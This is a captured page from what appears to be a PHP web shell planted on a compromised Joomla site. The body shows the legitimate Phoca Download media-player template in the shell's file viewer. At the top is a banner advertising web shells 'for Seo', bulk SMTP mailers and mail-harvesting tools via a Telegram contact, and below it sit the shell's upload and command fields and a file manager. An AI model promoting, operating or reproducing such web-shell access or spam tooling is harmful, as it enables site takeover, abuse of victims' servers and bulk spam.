__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/* @package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Extension
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
// no direct access
defined('_JEXEC') or die('Restricted access');
use Joomla\CMS\Language\Text;
use Joomla\CMS\Factory;
// USER RIGHT - Access of categories (if file is included in some not accessed category) - - - - -
// ACCESS is handled in SQL query, ACCESS USER ID is handled here (specific users)
$rightDisplay	= 0;
if (!empty($this->t['file'][0])) {
	$rightDisplay = PhocaDownloadAccess::getUserRight('accessuserid', $this->t['file'][0]->cataccessuserid, $this->t['file'][0]->cataccess, $this->t['user']->getAuthorisedViewLevels(), $this->t['user']->get('id', 0), 0);
}
// - - - - - - - - - - - - - - - - - - - - - -

if ($rightDisplay == 1) {

	if ($this->t['html5_play'] == 1 && $this->t['filetype'] != 'flv') {

        // style because of iframe
        echo '<div style="display: flex;align-items: center;justify-content: center;"class="ph-media-iframe-box">';
		if ($this->t['filetype'] == 'mp3') {
			echo '<audio width="'.$this->t['playerwidth'].'" height="'.$this->t['playerheight'].'" style="margin-top: 10px;" controls>';
			echo '<source src="'.$this->t['playfilewithpath'].'" type="audio/mpeg">';
			echo Text::_('COM_PHOCADOWNLOAD_BROWSER_DOES_NOT_SUPPORT_AUDIO_VIDEO_TAG');
			echo '</audio>'. "\n";
		} else if ($this->t['filetype'] == 'mp4') {
			echo '<video width="'.$this->t['playerwidth'].'" height="'.$this->t['playerheight'].'" style="margin-top: 10px;" controls>';
			echo '<source src="'.$this->t['playfilewithpath'].'" type="video/mp4">';
			echo Text::_('COM_PHOCADOWNLOAD_BROWSER_DOES_NOT_SUPPORT_AUDIO_VIDEO_TAG');
			echo '</video>'. "\n";
		} else if ($this->t['filetype'] == 'ogg') {
			echo '<audio width="'.$this->t['playerwidth'].'" height="'.$this->t['playerheight'].'" style="margin-top: 10px;" controls>';
			echo '<source src="'.$this->t['playfilewithpath'].'" type="audio/ogg">';
			echo Text::_('COM_PHOCADOWNLOAD_BROWSER_DOES_NOT_SUPPORT_AUDIO_VIDEO_TAG');
			echo '</audio>'. "\n";
		} else if ($this->t['filetype'] == 'ogv') {
			echo '<video width="'.$this->t['playerwidth'].'" height="'.$this->t['playerheight'].'" style="margin-top: 10px;" controls>';
			echo '<source src="'.$this->t['playfilewithpath'].'" type="video/ogg">';
			echo Text::_('COM_PHOCADOWNLOAD_BROWSER_DOES_NOT_SUPPORT_AUDIO_VIDEO_TAG');
			echo '</video>'. "\n";
		} else if ($this->t['filetype'] == 'webm') {
			echo '<video width="'.$this->t['playerwidth'].'" height="'.$this->t['playerheight'].'" style="margin-top: 10px;" controls>';
			echo '<source src="'.$this->t['playfilewithpath'].'" type="video/webm">';
			echo Text::_('COM_PHOCADOWNLOAD_BROWSER_DOES_NOT_SUPPORT_AUDIO_VIDEO_TAG');
			echo '</video>'. "\n";
		}  /*else if ($this->t['filetype'] == 'flv') {
            echo '<video width="'.$this->t['playerwidth'].'" height="'.$this->t['playerheight'].'" style="margin-top: 10px;" controls>';
            echo '<source src="'.$this->t['playfilewithpath'].'" type="video/x-flv">';
            echo Text::_('COM_PHOCADOWNLOAD_BROWSER_DOES_NOT_SUPPORT_AUDIO_VIDEO_TAG');
            echo '</video>'. "\n";
        }*/
        echo '</div>';

	} else {

	//Flow Player
	$versionFLP 	= '3.2.2';
	$versionFLPJS 	= '3.2.2';
	$document = Factory::getDocument();
	//$document->addScript($this->t['playerpath'].'flowplayer-'.$versionFLPJS.'.min.js');

	?>
	<div style="text-align:center;">
	<div style="margin: 10px auto;text-align:center; width:<?php echo $this->t['playerwidth']; ?>px"><a href="<?php echo $this->t['playfilewithpath']; ?>"  style="display:block;width:<?php echo $this->t['playerwidth']; ?>px;height:<?php echo $this->t['playerheight']; ?>px" id="player"></a><?php

	if ($this->t['filetype'] == 'mp3') {
		?><script>

		flowplayer("player", "<?php echo $this->t['playerpath']; ?>flowplayer-<?php echo $versionFLP ?>.swf",
		{
			plugins: {
				controls: {
					fullscreen: false,
					height: <?php echo $this->t['playerheight']; ?>
				}
			}
		}
		);</script><?php
	} else {
		?><script>

		flowplayer("player", "<?php echo $this->t['playerpath']; ?>flowplayer-<?php echo $versionFLP ?>.swf");</script><?php
	}
	?></div></div><?php
	}
} else {
	echo Text::_('COM_PHOCADOWNLOAD_NO_RIGHTS_ACCESS_CATEGORY');
}



Filemanager

Name Type Size Permission Actions
default.php File 4.37 KB 0664
default.xml File 61 B 0664
index.html File 44 B 0664
Filemanager